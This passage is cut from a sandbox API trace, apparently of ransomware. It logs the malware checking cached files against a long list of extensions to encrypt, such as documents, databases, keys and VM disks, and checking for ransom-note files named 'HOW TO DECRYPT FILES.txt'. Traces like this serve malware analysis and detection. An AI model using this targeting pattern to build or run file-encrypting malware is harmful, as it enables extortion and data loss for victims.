(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.txt") returned 0 [0086.946] lstrlenA (lpString="*.txt") returned 5 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.jpeg") returned 0 [0086.946] lstrlenA (lpString="*.jpeg") returned 6 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.jpg") returned 0 [0086.946] lstrlenA (lpString="*.jpg") returned 5 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.png") returned 0 [0086.946] lstrlenA (lpString="*.png") returned 5 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.php") returned 0 [0086.946] lstrlenA (lpString="*.php") returned 5 [0086.946] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.cs") returned 0 [0086.947] lstrlenA (lpString="*.cs") returned 4 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.cpp") returned 0 [0086.947] lstrlenA (lpString="*.cpp") returned 5 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.rar") returned 0 [0086.947] lstrlenA (lpString="*.rar") returned 5 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.zip") returned 0 [0086.947] lstrlenA (lpString="*.zip") returned 5 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.html") returned 0 [0086.947] lstrlenA (lpString="*.html") returned 6 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.htm") returned 0 [0086.947] lstrlenA (lpString="*.htm") returned 5 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.xlsx") returned 0 [0086.947] lstrlenA (lpString="*.xlsx") returned 6 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.xls") returned 0 [0086.947] lstrlenA (lpString="*.xls") returned 5 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mp4") returned 0 [0086.947] lstrlenA (lpString="*.mp4") returned 5 [0086.947] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ppt") returned 0 [0086.948] lstrlenA (lpString="*.ppt") returned 5 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pptx") returned 0 [0086.948] lstrlenA (lpString="*.pptx") returned 6 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.doc") returned 0 [0086.948] lstrlenA (lpString="*.doc") returned 5 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dot") returned 0 [0086.948] lstrlenA (lpString="*.dot") returned 5 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.docx") returned 0 [0086.948] lstrlenA (lpString="*.docx") returned 6 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.7z") returned 0 [0086.948] lstrlenA (lpString="*.7z") returned 4 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.tar") returned 0 [0086.948] lstrlenA (lpString="*.tar") returned 5 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.bz2") returned 0 [0086.948] lstrlenA (lpString="*.bz2") returned 5 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.gz") returned 0 [0086.948] lstrlenA (lpString="*.gz") returned 4 [0086.948] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mkv") returned 0 [0086.948] lstrlenA (lpString="*.mkv") returned 5 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.eml") returned 0 [0086.949] lstrlenA (lpString="*.eml") returned 5 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.msg") returned 0 [0086.949] lstrlenA (lpString="*.msg") returned 5 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.edb") returned 0 [0086.949] lstrlenA (lpString="*.edb") returned 5 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.accdb") returned 0 [0086.949] lstrlenA (lpString="*.accdb") returned 7 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.odb") returned 0 [0086.949] lstrlenA (lpString="*.odb") returned 5 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.java") returned 0 [0086.949] lstrlenA (lpString="*.java") returned 6 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.asm") returned 0 [0086.949] lstrlenA (lpString="*.asm") returned 5 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pfx") returned 0 [0086.949] lstrlenA (lpString="*.pfx") returned 5 [0086.949] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pem") returned 0 [0086.949] lstrlenA (lpString="*.pem") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.p12") returned 0 [0086.950] lstrlenA (lpString="*.p12") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.gpg") returned 0 [0086.950] lstrlenA (lpString="*.gpg") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.vsd") returned 0 [0086.950] lstrlenA (lpString="*.vsd") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.odg") returned 0 [0086.950] lstrlenA (lpString="*.odg") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.raw") returned 0 [0086.950] lstrlenA (lpString="*.raw") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.nef") returned 0 [0086.950] lstrlenA (lpString="*.nef") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.svg") returned 0 [0086.950] lstrlenA (lpString="*.svg") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.psd") returned 0 [0086.950] lstrlenA (lpString="*.psd") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.vmx") returned 0 [0086.950] lstrlenA (lpString="*.vmx") returned 5 [0086.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.vmdk") returned 0 [0086.951] lstrlenA (lpString="*.vmdk") returned 6 [0086.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.vdi") returned 0 [0086.951] lstrlenA (lpString="*.vdi") returned 5 [0086.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.lay6") returned 0 [0086.951] lstrlenA (lpString="*.lay6") returned 6 [0086.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mpeg") returned 0 [0086.951] lstrlenA (lpString="*.mpeg") returned 6 [0086.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.djvu") returned 0 [0086.951] lstrlenA (lpString="*.djvu") returned 6 [0086.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.tiff") returned 0 [0086.951] lstrlenA (lpString="*.tiff") returned 6 [0086.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.backup") returned 0 [0086.951] lstrlenA (lpString="*.backup") returned 8 [0086.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pdf") returned 0 [0086.952] lstrlenA (lpString="*.pdf") returned 5 [0086.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.cert") returned 0 [0086.952] lstrlenA (lpString="*.cert") returned 6 [0086.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.docm") returned 0 [0086.952] lstrlenA (lpString="*.docm") returned 6 [0086.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.xlsm") returned 0 [0086.952] lstrlenA (lpString="*.xlsm") returned 6 [0086.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dwg") returned 0 [0086.952] lstrlenA (lpString="*.dwg") returned 5 [0086.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.nd") returned 0 [0086.953] lstrlenA (lpString="*.nd") returned 4 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.tlg") returned 0 [0086.953] lstrlenA (lpString="*.tlg") returned 5 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.lgb") returned 0 [0086.953] lstrlenA (lpString="*.lgb") returned 5 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mov") returned 0 [0086.953] lstrlenA (lpString="*.mov") returned 5 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.xdw") returned 0 [0086.953] lstrlenA (lpString="*.xdw") returned 5 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ods") returned 0 [0086.953] lstrlenA (lpString="*.ods") returned 5 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.wav") returned 0 [0086.953] lstrlenA (lpString="*.wav") returned 5 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mp3") returned 0 [0086.953] lstrlenA (lpString="*.mp3") returned 5 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.aiff") returned 0 [0086.953] lstrlenA (lpString="*.aiff") returned 6 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.flac") returned 0 [0086.953] lstrlenA (lpString="*.flac") returned 6 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.m4a") returned 0 [0086.953] lstrlenA (lpString="*.m4a") returned 5 [0086.953] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.csv") returned 0 [0086.953] lstrlenA (lpString="*.csv") returned 5 [0086.954] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0086.954] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.954] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 1 [0086.954] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 1 [0086.954] lstrcmpiA (lpString1="", lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned -1 [0086.954] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" [0086.954] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.954] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.954] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.954] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.954] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" [0086.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.ems") returned 0 [0086.954] lstrlenA (lpString="*.ems") returned 5 [0086.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.db") returned 0 [0086.954] lstrlenA (lpString="*.db") returned 4 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.dbf") returned 0 [0086.955] lstrlenA (lpString="*.dbf") returned 5 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.myox") returned 0 [0086.955] lstrlenA (lpString="*.myox") returned 6 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.myo") returned 0 [0086.955] lstrlenA (lpString="*.myo") returned 5 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qbw") returned 0 [0086.955] lstrlenA (lpString="*.qbw") returned 5 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qbb") returned 0 [0086.955] lstrlenA (lpString="*.qbb") returned 5 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", pszSpec="*.qbm") returned 0 [0086.955] lstrlenA (lpString="*.qbm") returned 5 [0086.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 